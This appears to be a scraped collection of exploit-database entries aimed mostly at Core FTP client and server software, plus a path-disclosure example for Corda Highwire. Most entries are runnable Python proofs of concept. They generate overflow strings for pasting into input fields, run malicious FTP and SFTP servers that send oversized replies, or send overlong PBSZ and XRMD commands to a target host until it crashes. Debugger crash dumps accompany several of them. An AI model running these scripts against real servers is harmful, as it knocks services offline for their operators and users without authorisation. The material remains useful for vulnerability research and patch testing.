# Exploit Title : Core FTP Lite 1.3 - Denial of Service (PoC)
# Exploit Author: Berat Isler
# Date: 2020-02-20
# Vendor Homepage: http://www.coreftp.com/
# Software Link Download:http://tr.oldversion.com/windows/core-ftp-le-1-3cbuild1437
# Version: Core FTP 1.3cBuild1437
# Tested on : Windows 7 32-bit

# First step , Run exploit script, it will generate a new file with the name "mi.txt"
# Then start Core FTP application and find the "username" textbox.
# After that pate the content of "mi.txt" in to the "username" field like this --> "AAAAAAAAA"
# Don't need to click anything because application is already crash.

This is the code :


#!/usr/bin/python
    
b0f = "A" * 7000
payload = b0f
try:
    f=open("mi.txt","w")
    print "[+] Creating %s bytes payload generated .. .. .." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created :) "
except:
    print "File cannot be created :(("
HireHackking 
'''
# Exploit Title: Core FTP Server v2.2 - BufferOverflow POC
# Date: 2016-6-28
# Exploit Author: Netfairy
# Vendor Homepage: http://www.coreftp.com/
# Software Link: ftp://ftp.coreftp.com/coreftplite.exe
# Version: 2.2
# Tested on: Windows7 Professional SP1 En x86
# CVE : N/A
[+] Type : Buffer overflow
[+] Detail : 
[-]  The vulnerability has the most typical Buffer overflow vulnerabilities. 
[-]  enter the application and Input "A"*800 to the path box the press enter
[-] crash info
0:008> g
(4d48.4cc8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00440770 ecx=00410041 edx=007c4ee4 esi=00000000 edi=01b1efe8
eip=00410041 esp=0012d6a0 ebp=00410041 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\CoreFTP\coreftp.exe
coreftp+0x10041:
00410041 008b45fc8be5    add     byte ptr [ebx-1A7403BBh],cl ds:0023:e5d003b5=??


########generate "A"*800
'''

import struct
junk = "A" * 800
with open("exp.txt","wb") as f :
f.write(junk)
HireHackking 
# Exploit Title: Core FTP LE 2.2 - Denial of Service (PoC)
# Date: 2020-25-02
# Exploit Author: Ismael Nava
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://www.coreftp.com/download.html
# Version: 2.2 build 1947
# Tested on: Windows 10 Home x64
# CVE : n/a

#STEPS
# Open the program Core FTP LE
# In File select the option Connect
# Click in the option Advanced from the fiel Host / IP / URL
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "Dog.txt"
# Paste the content in the field Account
# Click in OK
# After Core FTP lE closed, the program did not work again if the user try to
# open again, so it is necessary uninstall and install again
# End :)


buffer = 'R' * 20000

try: 
    file = open("Dog.txt","w")
    file.write(buffer)
    file.close()

    print("Archive ready")
except:
    print("Archive no ready")
HireHackking 
# Exploit Title: Core FTP LE 2.2 - Buffer Overflow (PoC)
# Date: 2018-06-28
# Exploit Author: Berk Cem Göksel
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://www.coreftp.com/download
# Version:  Core FTP Client LE v2.2 Build 1921
# Tested on: Windows 10
# Category: Dos
# CVE : CVE-2018-12113
# coding: utf-8

# Description:]
# The vulnerability was discovered during a vulnerability research lecture.
# This is meant to be a PoC.

#!/usr/bin/env python

import socket

IP = '0.0.0.0'
port = 21


Stack_beginning = 3004

buff = "\x90" * (3004)

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((IP, port))
        s.listen(20)
        print("[i] FTP Server started on port: "+str(port)+"\r\n")
except:
        print("[!] Failed to bind the server to port: "+str(port)+"\r\n")

while True:
    conn, addr = s.accept()
    conn.send('220 Welcome!' + '\r\n')
    print conn.recv(1024)
    conn.send('331 OK.\r\n')
    print conn.recv(1024)
    conn.send('230 OK.\r\n')
    print conn.recv(1024)
    conn.send('215 UNIX Type: L8\r\n')
    print conn.recv(1024)
    conn.send('257 "/" is current directory.\r\n')
    print conn.recv(1024)
    conn.send('227 Entering Passive Mode (' + buff +  ')\r\n')
    print conn.recv(1024)
    conn.send('257' + '\r\n')
HireHackking 
[+] Credits: John Page aka hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source: http://hyp3rlinx.altervista.org/advisories/CORE-FTP-REMOTE-SSH-SFTP-BUFFER-OVERFLOW.txt

[+] ISR: ApparitionSec



Vendor:
===============
www.coreftp.com



Product:
========================
Core FTP LE (client)
v2.2 build 1883

Core FTP LE - free Windows software that includes the client FTP features
you need. Features like SFTP (SSH), SSL, TLS, FTPS, IDN,
browser integration, site to site transfers, FTP transfer resume, drag and
drop support, file viewing & editing, firewall support,
custom commands, FTP URL parsing, command line transfers, filters, and
much, much more.



Vulnerability Type:
================================
Remote SSH/SFTP Buffer Overflow



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

Core FTP client is vulnerable to remote buffer overflow denial of service
when connecting to a malicious server using
SSH/SFTP protocol.

Upon receiving an overly long string of junk from the malicious FTP server
response, Core FTP crashes and the stack
is corrupted with several registers EBX, EDX, EDI being overwritten as can
be seen below.

WinDbg dump...

(d9c.16d8): Access violation - code c0000005 (first/second chance not
available)
eax=035b0000 ebx=00004141 ecx=03ac7e40 edx=41414141 esi=03ac7e38
edi=41414141
eip=77313ac3 esp=0439fa10 ebp=0439fae0 iopl=0         nv up ei pl nz ac pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010216
ntdll!RtlImageNtHeader+0x92f:
77313ac3 8b12            mov     edx,dword ptr [edx]
 ds:002b:41414141=????????




Exploit code(s):
===============

import socket

print 'hyp3rlinx - Apparition Security'
print 'Core FTP SSH/SFTP Remote Buffer Overflow / DOS\r\n'
host='127.0.0.1'

port = 22
s = socket.socket()

payload="A"*77500
s.bind((host, port))
s.listen(5)

print 'Listening on port... %i' %port
print 'Connect to me!'

while True:
    conn, addr = s.accept()
    conn.send(payload+'\r\n')
    conn.close()



Exploitation Technique:
=======================
Remote



Severity Level:
===============
High




[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.

hyp3rlinx
HireHackking 
# Exploit Title: Core FTP 2.0 build 653 - 'PBSZ' - Unauthenticated - Denial of Service (PoC)
# Date: 2019-03-12
# Exploit Author: Hodorsec (hodorsec@protonmail.com / hodor@hodorsec.com)
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://coreftp.com/server/download/archive/CoreFTPServer653.exe
# Version: Version 2.0, build 653, 32-bit
# Tested on: Windows 8.1 6.3 (build 9600)
# CVE: N/A

# Description: 
# CoreFTP 2.0 is vulnerable to a DoS attack via the PBSZ command. Ironically, this command is being used for "Protection Buffer Size" 
# and CoreFTP responds unauthenticated.
# The PBSZ command in CoreFTP only allows for a certain length of the string to be vulnerable to a DoS.
# This script triggers the DoS and filling ECX with the intented buffer. 
# Although NSEH/SEH is overwritten, the executable binary is SafeSEH protected and no other assemblies are referenced.

# Replication:
# - Install CoreFTP and setup a domain with an IP and path
# - Start the service or click "Start"
# - No need to add users or set anything specific: just run the script and watch it crash

# Crash as service:
# (7e0.bf4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\CoreFTPServer\coresrvr.exe
# eax=00000000 ebx=00a5b048 ecx=42424242 edx=00000000 esi=00000258 edi=00000000
# eip=004491f5 esp=0128c4bc ebp=0129f684 iopl=0         nv up ei ng nz na po nc
# cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010282
# coresrvr+0x491f5:
# 004491f5 83b92c08000000  cmp     dword ptr [ecx+82Ch],0 ds:002b:42424a6e=????????

#!/usr/bin/env python
import sys, socket, struct, time
 
if len(sys.argv) <= 2:
    print "Usage: python " + sys.argv[0] + " [host] [port]"
    exit()
 
host = sys.argv[1]    
port = int(sys.argv[2])

# Maximum length
maxlen = 211

# Offsets
crash_ecx = 199
crash_nseh = 99

# Variables
prefix = "A" * crash_ecx
ecx = "B" * 4                                   # 004491f5; CMP DWORD PTR DS:[ECX+82c],0 
suffix = "C" * (maxlen - len(prefix + ecx))

# Payload
payload = prefix + ecx + suffix

print "[+] Connecting to " + host + "\n"

try:
        print "[+] Sending payload with " + str(len(payload)) + " length message..."

    
        req = (
                "PBSZ " + payload
        )
    
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        s.connect((host, port))
        s.send(req)
        s.recv(1024)
        s.close()

        time.sleep(0.5)
except Exception,e:
        print "[!] Error occured: " + str(e)
        print "[*] Crashed occured at buffer length: " + str(len(payload))
        sys.exit()
HireHackking 
# Exploit Title: Core FTP 2.0 - 'XRMD' Denial of Service (PoC)
# Date: 2018-07-24
# Exploit Author: Erik David Martin
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://www.coreftp.com/server/download/CoreFTPServer.exe
# Version: Version 2.0, build 653, 32-bit
# Tested on: Windows XP Professional, Version 2002, Service Pack 3
# CVE: N/A

# Proof of concept:
# Create a new domain and set IP address
# Use the default certificate by Core FTP Server
# Set base directory
# Create an anonymous user (anonymous:anonymous) for example
# Set a path for the user
# Start the server
# Run exploit: python exploit.py *target ip* anonymous anonymous
# Watch the server crash...
# The exploit will work for any user, and not just anonymous

import sys
import socket

try:
	host = sys.argv[1]
	username = sys.argv[2]
	password = sys.argv[3]
except:
	print("Usage: exploit.py *target ip* *username* *password*")
	sys.exit()

mysocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #
mysocket.settimeout(2)

try:
	mysocket.connect((host,21))
	mysocket.recv(1024)
	print("\n[+] Connected\n")
except:
	print("[-] Error! Could not connect to target")
	sys.exit()

junk = ("asO8M.lFX[Gq<4<p(.P5eMLv]\2!G8jB_6Gx[I;I!aYa#oAi@kI<f.QFwkSBiQ,!")

try:
	mysocket.send("USER " + username + "\r\n")
	mysocket.recv(1024)
	mysocket.send("PASS " + password + "\r\n")
	mysocket.recv(1024)
	print("[+] Logged in as " + username)
except:
	print("[-] Error! Could not log in as " + username)
	sys.exit()

print("[+] Sending malicious request")

while True:
	try:
		mysocket.send("XRMD " + junk + "\r\n")
		mysocket.recv(1024)
	except:
		print("[+] Target is down\n")
		sys.exit()
HireHackking 
source: https://www.securityfocus.com/bid/61152/info

Corda Highwire is prone to a path disclosure vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to obtain sensitive information that may lead to further attacks. 

http://www.example.com/highwire.ashx?url=../../